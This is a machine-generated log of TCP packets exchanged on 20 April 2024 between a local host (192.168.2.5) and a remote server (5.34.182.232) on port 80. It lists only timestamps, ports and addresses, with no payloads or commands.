Apr 20, 2024 10:23:48.629853964 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.629916906 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.630006075 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.630045891 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.630065918 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.630085945 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.630120993 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.630121946 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.630172968 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.630178928 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.630232096 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.630270004 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.630275965 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.630309105 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.630345106 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.630390882 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.630490065 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.630526066 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.630534887 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.630564928 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.630601883 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.630639076 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.630649090 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.630675077 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.630681038 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.630712032 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.630748987 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.630784988 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.630793095 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.630824089 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.630832911 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.630858898 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.630893946 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.630934954 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.630942106 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.630979061 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.630983114 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.631016970 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.631053925 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.631088972 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.631097078 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.631124973 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.631130934 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.631160975 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.631197929 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.631233931 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.631242037 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.631270885 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.631273985 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.631320953 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.631357908 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.631395102 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.631403923 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.631431103 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.631438971 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.631468058 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.631506920 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.631541967 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.631551027 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.631578922 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.631583929 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.631617069 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.631652117 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.631690979 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.631697893 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.631727934 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.631735086 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.631763935 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.631802082 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.631838083 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.631845951 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.631874084 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.631879091 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.631910086 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.631946087 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.631982088 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.631999016 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.632020950 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.632033110 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.632059097 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.632093906 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.632142067 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.632147074 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.632184982 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.632190943 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.632220984 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.632257938 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.632293940 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.632303953 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.632334948 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.632339001 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.632373095 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.632410049 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.632447004 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.632453918 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.632483006 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.632488012 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.632519007 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.632555962 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.632592916 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.632600069 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.632631063 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.632635117 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.632668018 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.632704020 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.632731915 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.632741928 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.632776976 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.632801056 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.632814884 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.632852077 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.632888079 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.632893085 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.632924080 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.632926941 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.632961035 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.632996082 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.633032084 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.633047104 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.633068085 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.633080006 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.633105993 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.633142948 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.633178949 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.633183956 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.633214951 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.633219004 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.633250952 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.633286953 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.633322954 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.633327961 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.633359909 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.633367062 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.679606915 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:53.155638933 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:53.156140089 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:54.558968067 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:54.793556929 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:54.793658972 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:54.793939114 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.028541088 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.028759956 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.028798103 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.028834105 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.028853893 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.028870106 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.028913021 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.028920889 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.028949976 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.028985977 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.028990984 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.029022932 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.029057980 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.029059887 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.029094934 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.029130936 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.263689995 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.263745070 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.263782978 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.263792992 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.263822079 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.263859987 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.263863087 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.263895988 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.263936043 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.263936996 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.264027119 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.264065027 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.264071941 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.264131069 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.264169931 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.264172077 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.264206886 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.264290094 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.264293909 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.264344931 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.264381886 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.264385939 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.264421940 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.264457941 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.264462948 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.264493942 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.264530897 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.264540911 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.264569044 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.264611959 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.499089956 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.499136925 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.499176979 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.499212980 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.499248028 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.499283075 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.499319077 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.499329090 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.499330044 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.499356985 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.499361038 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.499393940 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.499409914 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.499429941 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.499483109 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.499485970 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.499522924 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.499560118 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.499572039 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.499623060 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.499660015 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.499671936 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.499696016 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.499732018 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.499742985 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.499768019 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.499804974 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.499814987 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.499841928 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.499876976 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.499888897 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.499913931 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.499949932 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.499960899 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.499985933 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.500022888 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.500035048 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.500058889 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.500094891 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.500113010 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.500164986 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.500201941 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.500219107 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.500241041 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.500276089 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.500294924 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.500313044 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.500348091 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.500353098 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.500385046 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.500420094 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.500426054 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.500457048 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.500492096 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.500505924 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.500529051 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.500565052 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.500575066 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.500602961 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.500648022 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.735414028 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.735479116 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.735519886 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.735559940 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.735609055 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.735646963 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.735686064 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.735711098 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.735711098 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.735723019 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.735738993 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.735760927 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.735778093 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.735804081 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.735842943 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.735853910 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.735882044 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.735918999 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.735929012 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.735960960 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.735997915 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.736005068 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.736037970 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.736077070 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.736084938 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.736150026 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.736186981 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.736200094 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.736224890 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.736262083 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.736273050 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.736299992 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.736336946 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.736351967 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.736376047 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.736413002 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.736423969 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.736454010 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.736493111 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.736510038 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.736530066 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.736572027 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.736582041 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.736610889 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.736648083 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.736668110 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.736685038 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.736721039 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.736737013 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.736759901 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.736798048 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.736807108 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.736835003 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.736871958 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.736881018 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.736911058 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.736948013 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.736958027 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.736985922 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.737023115 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.737034082 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.737060070 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.737097025 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.737104893 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.737133980 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.737169981 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.737205029 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.737241983 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.737242937 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.737281084 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.737317085 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.737318039 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.737345934 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.737354040 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.737390041 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.737405062 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.737426996 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.737463951 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.737504005 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.737514019 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.737540007 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.737551928 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.737576962 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.737616062 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.737653017 CEST	80	49720	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:55.737658024 CEST	49720	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:55.737690926 CEST	80	49720	5.34.182.232	192.168.2.5
